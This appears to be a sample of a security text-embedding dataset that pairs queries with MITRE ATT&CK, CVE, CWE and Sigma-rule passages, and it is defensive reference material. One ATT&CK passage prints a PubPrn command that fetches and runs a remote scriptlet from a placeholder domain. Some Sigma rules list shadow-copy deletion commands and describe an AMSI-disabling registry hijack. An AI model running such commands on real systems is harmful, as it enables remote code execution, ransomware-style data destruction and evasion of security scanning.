alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: campaign using Malicious Library
Matching passage: T1204.005 Malicious Library. Tactics: execution. Description: Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may [Upload Malware](https://attack.mitre.org/techniques/T1608/001) to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023) In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.
Near-miss passage: T1204.004 Malicious Copy and Paste. Tactics: execution. Description: An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). One such strategy is "ClickFix," in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code. Malicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025) Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the "ClickFix" strategy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024) Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.
Query: describe CVE-2015-7547
Matching passage: CVE-2015-7547. CWE: CWE-119. CVSS: 8.100000381469727. Multiple stack-based buffer overflows in the (1) send_dg and (2) send_vc functions in the libresolv library in the GNU C Library (aka glibc or libc6) before 2.23 allow remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via a crafted DNS response that triggers a call to the getaddrinfo function with the AF_UNSPEC or AF_INET6 address family, related to performing "dual A/AAAA DNS queries" and the libnss_dns.so.2 NSS module.
Near-miss passage: CVE-2015-3105. CWE: CWE-119. CVSS: 10.0. Adobe Flash Player before 13.0.0.292 and 14.x through 18.x before 18.0.0.160 on Windows and OS X and before 11.2.202.466 on Linux, Adobe AIR before 18.0.0.144 on Windows and before 18.0.0.143 on OS X and Android, Adobe AIR SDK before 18.0.0.144 on Windows and before 18.0.0.143 on OS X, and Adobe AIR SDK & Compiler before 18.0.0.144 on Windows and before 18.0.0.143 on OS X allow attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors.
Query: Encoded PowerShell / command-line abuse matching PubPrn
Matching passage: T1216.001 PubPrn. Tactics: stealth. Description: Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).
Near-miss passage: T1216 System Script Proxy Execution. Tactics: stealth. Description: Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
Query: exploit A vulnerability has been identified in IBM Cloud Orchestrator services/[action]/launch API. An authenticated domain admin user might modify cross domain resources via a /services/[
Matching passage: CVE-2015-7494. CWE: CWE-284. CVSS: 2.799999952316284. A vulnerability has been identified in IBM Cloud Orchestrator services/[action]/launch API. An authenticated domain admin user might modify cross domain resources via a /services/[action]/launch API call, provided it would have been possible for the domain admin user to gain access to a resource identifier of the other domain.
Near-miss passage: CVE-2015-4649. CWE: CWE-284. CVSS: 7.199999809265137. Aruba Networks ClearPass Policy Manager before 6.4.7 and 6.5.x before 6.5.2 allows remote authenticated administrators to gain root privileges via unspecified vectors, a different vulnerability than CVE-2015-3654.
Query: vulnerability: Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows attackers to execute arbitrary code by leve
Matching passage: CVE-2015-0336. CWE: UNKNOWN. CVSS: 9.300000190734863. Adobe Flash Player before 13.0.0.277 and 14.x through 17.x before 17.0.0.134 on Windows and OS X and before 11.2.202.451 on Linux allows attackers to execute arbitrary code by leveraging an unspecified "type confusion," a different vulnerability than CVE-2015-0334.
Near-miss passage: CVE-2015-0254. CWE: UNKNOWN. CVSS: 7.5. Apache Standard Taglibs before 1.2.3 allows remote attackers to execute arbitrary code or conduct external XML entity (XXE) attacks via a crafted XSLT extension in a (1) <x:parse> or (2) <x:transform> JSTL XML tag.
Query: describe CVE-2015-8604
Matching passage: CVE-2015-8604. CWE: CWE-89. CVSS: 8.800000190734863. SQL injection vulnerability in the host_new_graphs function in graphs_new.php in Cacti 0.8.8f and earlier allows remote authenticated users to execute arbitrary SQL commands via the cg_g parameter in a save action.
Near-miss passage: CVE-2015-5617. CWE: CWE-89. CVSS: 9.800000190734863. SQL injection vulnerability in pub/m_pending_news/delete_pending_news.jsp in Enorth Webpublisher CMS allows remote attackers to execute arbitrary SQL commands via the cbNewsId parameter.
Query: vulnerability: Cisco ASR 5000 devices with software 16.0(900) allow remote attackers to cause a denial of service (telnetd process restart) via a TELNET connection, aka Bug ID CSCuv25815.
Matching passage: CVE-2015-6382. CWE: CWE-399. CVSS: 5.0. Cisco ASR 5000 devices with software 16.0(900) allow remote attackers to cause a denial of service (telnetd process restart) via a TELNET connection, aka Bug ID CSCuv25815.
Near-miss passage: CVE-2015-1081. CWE: CWE-399. CVSS: 6.800000190734863. WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and 8.x before 8.0.4, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other CVEs listed in APPLE-SA-2015-03-17-1.
Query: risk of Office Viewer in Apple iOS before 8.4.1 and OS X before 10.10.5 allows remote attackers to read arbitrary files via an XML document containing an external entity declaration in con
Matching passage: CVE-2015-3784. CWE: CWE-200. CVSS: 5.0. Office Viewer in Apple iOS before 8.4.1 and OS X before 10.10.5 allows remote attackers to read arbitrary files via an XML document containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.
Near-miss passage: CVE-2015-3912. CWE: CWE-200. CVSS: 5.0. Huawei E355s Mobile WiFi with firmware before 22.158.45.02.625 and WEBUI before 13.100.04.01.625 allows remote attackers to obtain sensitive configuration information by sniffing the network or sending unspecified commands.
Query: exploit program/lib/Roundcube/rcube_washtml.php in Roundcube before 1.0.5 does not properly quote strings, which allows remote attackers to conduct cross-site scripting (XSS) attacks via t
Matching passage: CVE-2015-1433. CWE: CWE-79. CVSS: 4.300000190734863. program/lib/Roundcube/rcube_washtml.php in Roundcube before 1.0.5 does not properly quote strings, which allows remote attackers to conduct cross-site scripting (XSS) attacks via the style attribute in an email.
Near-miss passage: CVE-2015-7360. CWE: CWE-79. CVSS: 6.099999904632568. Multiple cross-site scripting (XSS) vulnerabilities in the Web User Interface (WebUI) in Fortinet FortiSandbox before 2.1 allow remote attackers to inject arbitrary web script or HTML via the (1) serial parameter to alerts/summary/profile/; the (2) urlForCreatingReport parameter to csearch/report/export/; the (3) id parameter to analysis/detail/download/screenshot; or vectors related to (4) "Fortiview threats by users search filtered by vdom" or (5) "PCAP file download generated by the VM scan feature."
Query: describe CVE-2015-0717
Matching passage: CVE-2015-0717. CWE: CWE-20. CVSS: 6.900000095367432. Cisco Unified Communications Manager 10.0(1.10000.12) allows local users to gain privileges via a command string in an unspecified parameter, aka Bug ID CSCut19546.
Near-miss passage: CVE-2015-0658. CWE: CWE-20. CVSS: 7.900000095367432. The DHCP implementation in the PowerOn Auto Provisioning (POAP) feature in Cisco NX-OS does not properly restrict the initialization process, which allows remote attackers to execute arbitrary commands as root by sending crafted response packets on the local network, aka Bug ID CSCur14589.
Query: patch priority for CVE-2015-2864
Matching passage: CVE-2015-2864. CWE: CWE-255. CVSS: 5.0. Retrospect and Retrospect Client before 10.0.2.119 on Windows, before 12.0.2.116 on OS X, and before 10.0.2.104 on Linux improperly generate password hashes, which makes it easier for remote attackers to bypass authentication and obtain access to backup files by leveraging a collision.
Near-miss passage: CVE-2015-6095. CWE: CWE-255. CVSS: 4.900000095367432. Kerberos in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1, and Windows 10 Gold and 1511 mishandles password changes, which allows physically proximate attackers to bypass authentication, and conduct decryption attacks against certain BitLocker configurations, by connecting to an unintended Key Distribution Center (KDC), aka "Windows Kerberos Security Feature Bypass."
Query: CVE similar to CVE-2015-1758
Matching passage: CVE-2015-1758. CWE: UNKNOWN. CVSS: 6.900000095367432. Untrusted search path vulnerability in the LoadLibrary function in the kernel in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows Server 2012, and Windows RT allows local users to gain privileges via a Trojan horse DLL in an unspecified directory, aka "Windows LoadLibrary EoP Vulnerability."
Near-miss passage: CVE-2015-0426. CWE: UNKNOWN. CVSS: 5.0. Unspecified vulnerability in the Enterprise Manager Base Platform component in Oracle Enterprise Manager Grid Control 12.1.0.3 and 12.1.0.4 allows remote attackers to affect confidentiality via unknown vectors related to UI Framework.
Query: exploit aRts 1.5.10 and kdelibs3 3.5.10 and earlier do not properly create temporary directories, which allows local users to hijack the IPC by pre-creating the temporary directory.
Matching passage: CVE-2015-7543. CWE: CWE-362. CVSS: 7.0. aRts 1.5.10 and kdelibs3 3.5.10 and earlier do not properly create temporary directories, which allows local users to hijack the IPC by pre-creating the temporary directory.
Near-miss passage: CVE-2015-8996. CWE: CWE-362. CVSS: 7.0. In TrustZone a time-of-check time-of-use race condition could potentially exist in a QFPROM routine in all Android releases from CAF using the Linux kernel.
Query: risk of Unspecified vulnerability in the Enterprise Manager Base Platform component in Oracle Enterprise Manager Grid Control 12.1.0.4 allows remote attackers to affect confidentiality via
Matching passage: CVE-2015-4885. CWE: UNKNOWN. CVSS: 4.300000190734863. Unspecified vulnerability in the Enterprise Manager Base Platform component in Oracle Enterprise Manager Grid Control 12.1.0.4 allows remote attackers to affect confidentiality via vectors related to Agent Next Gen.
Near-miss passage: CVE-2015-2651. CWE: UNKNOWN. CVSS: 3.799999952316284. Unspecified vulnerability in Oracle Sun Solaris 11.2 allows local users to affect availability via vectors related to Kernel Zones virtualized NIC driver.
Query: weakness Behavioral Change in New Version or Environment
Matching passage: CWE-439 Behavioral Change in New Version or Environment. A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B.
Near-miss passage: CWE-1259 Improper Restriction of Security Token Assignment. The System-On-A-Chip (SoC) implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens are improperly protected.
Query: vulnerability: Unspecified vulnerability in Oracle Sun Solaris 10 and 11.2 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to libelfsign.
Matching passage: CVE-2015-0471. CWE: UNKNOWN. CVSS: 4.400000095367432. Unspecified vulnerability in Oracle Sun Solaris 10 and 11.2 allows local users to affect confidentiality, integrity, and availability via unknown vectors related to libelfsign.
Near-miss passage: CVE-2015-0329. CWE: UNKNOWN. CVSS: 10.0. Adobe Flash Player before 13.0.0.269 and 14.x through 16.x before 16.0.0.305 on Windows and OS X and before 11.2.202.442 on Linux allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-0314, CVE-2015-0316, CVE-2015-0318, CVE-2015-0321, and CVE-2015-0330.
Query: write Sigma for Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numer
Matching passage: Sigma rule: Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numer. Logsource: windows / process_creation. Rule: title: Deletion of Volume Shadow Copies via WMI with PowerShell id: 21ff4ca9-f13a-41ad-b828-0077b2af2e40 related: - id: e17121b4-ef2a-4418-8a59-12fb1631fa9e type: derived - id: c1337eb8-921a-4b59-855b-4ba188ddcc42 type: similar status: test description: Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell - https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html author: Tim Rauch, Elastic (idea) date: 2022-09-20 modified: 2022-12-30 tags: - attack.impact - attack.t1490 logsource: category: process_creation product: windows detection: selection_get: CommandLine|contains: - Get-WmiObject - gwmi - Get-CimInstance - gcim selection_shadowcopy: CommandLine|contains: Win32_ShadowCopy selection_delete: CommandLine|contains: - .Delete() - Remove-WmiObject - rwmi - Remove-CimInstance - rcim condition: all of selection* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Get-Variable is a valid PowerShell cmdlet WindowsApps is by default in the path where PowerShell is executed. So when th. Logsource: windows / file_event. Rule: title: Suspicious Get-Variable.exe Creation id: 0c3fac91-5627-46e8-a6a8-a0d7b9b8ae1b status: test description: 'Get-Variable is a valid PowerShell cmdlet WindowsApps is by default in the path where PowerShell is executed. So when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet. ' references: - https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/ - https://www.joesandbox.com/analysis/465533/0/html author: frack113 date: 2022-04-23 tags: - attack.privilege-escalation - attack.persistence - attack.stealth - attack.t1546 - attack.t1027 logsource: product: windows category: file_event detection: selection: TargetFilename|endswith: Local\Microsoft\WindowsApps\Get-Variable.exe condition: selection falsepositives: - Unknown level: high
Query: patch priority for CVE-2015-6941
Matching passage: CVE-2015-6941. CWE: CWE-534. CVSS: 9.800000190734863. win_useradd, salt-cloud and the Linode driver in salt 2015.5.x before 2015.5.6, and 2015.8.x before 2015.8.1 leak password information in debug logs.
Near-miss passage: CVE-2015-1336. CWE: CWE-284. CVSS: 7.800000190734863. The daily mandb cleanup job in Man-db before 2.7.6.1-1 as packaged in Ubuntu and Debian allows local users with access to the man account to gain privileges via vectors involving insecure chown use.
Query: alert when Detects potential "ShellDispatch.dll" functionality abuse to execute arbitrary binaries via "ShellExecute"
Matching passage: Sigma rule: Detects potential "ShellDispatch.dll" functionality abuse to execute arbitrary binaries via "ShellExecute". Logsource: windows / process_creation. Rule: title: Potential ShellDispatch.DLL Functionality Abuse id: 82343930-652f-43f5-ab70-2ee9fdd6d5e9 status: test description: Detects potential "ShellDispatch.dll" functionality abuse to execute arbitrary binaries via "ShellExecute" references: - https://www.hexacorn.com/blog/2023/06/07/this-lolbin-doesnt-exist/ author: X__Junior (Nextron Systems) date: 2023-06-20 tags: - attack.execution - attack.stealth logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: \rundll32.exe - OriginalFileName: RUNDLL32.EXE selection_cli: CommandLine|contains: RunDll_ShellExecuteW condition: all of selection_* falsepositives: - Unlikely level: medium
Near-miss passage: Sigma rule: Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts. Logsource: windows / registry_set. Rule: title: Potential AMSI COM Server Hijacking id: 160d2780-31f7-4922-8b3a-efce30e63e96 status: test description: Detects changes to the AMSI come server registry key in order disable AMSI scanning functionalities. When AMSI attempts to starts its COM component, it will query its registered CLSID and return a non-existent COM server. This causes a load failure and prevents any scanning methods from being accessed, ultimately rendering AMSI useless references: - https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/ - https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-comreg-bypass author: Nasreddine Bencherchali (Nextron Systems) date: 2023-01-04 modified: 2023-08-17 tags: - attack.defense-impairment - attack.t1685 logsource: category: registry_set product: windows detection: selection: TargetObject|endswith: \CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32\(Default) filter: Details: '%windir%\system32\amsi.dll' condition: selection and not filter falsepositives: - Unknown level: high
Query: patch priority for CVE-2015-2710
Matching passage: CVE-2015-2710. CWE: CWE-119. CVSS: 6.800000190734863. Heap-based buffer overflow in the SVGTextFrame class in Mozilla Firefox before 38.0, Firefox ESR 31.x before 31.7, and Thunderbird before 31.7 allows remote attackers to execute arbitrary code via crafted SVG graphics data in conjunction with a crafted Cascading Style Sheets (CSS) token sequence.
Near-miss passage: CVE-2015-1953. CWE: CWE-119. CVSS: 7.800000190734863. Stack-based buffer overflow in the server in IBM Tivoli Storage Manager FastBack 6.1 before 6.1.12 allows remote attackers to cause a denial of service (daemon crash) via unspecified vectors, a different vulnerability than CVE-2015-1924, CVE-2015-1925, CVE-2015-1929, CVE-2015-1930, CVE-2015-1948, CVE-2015-1954, CVE-2015-1962, CVE-2015-1963, CVE-2015-1964, and CVE-2015-1965.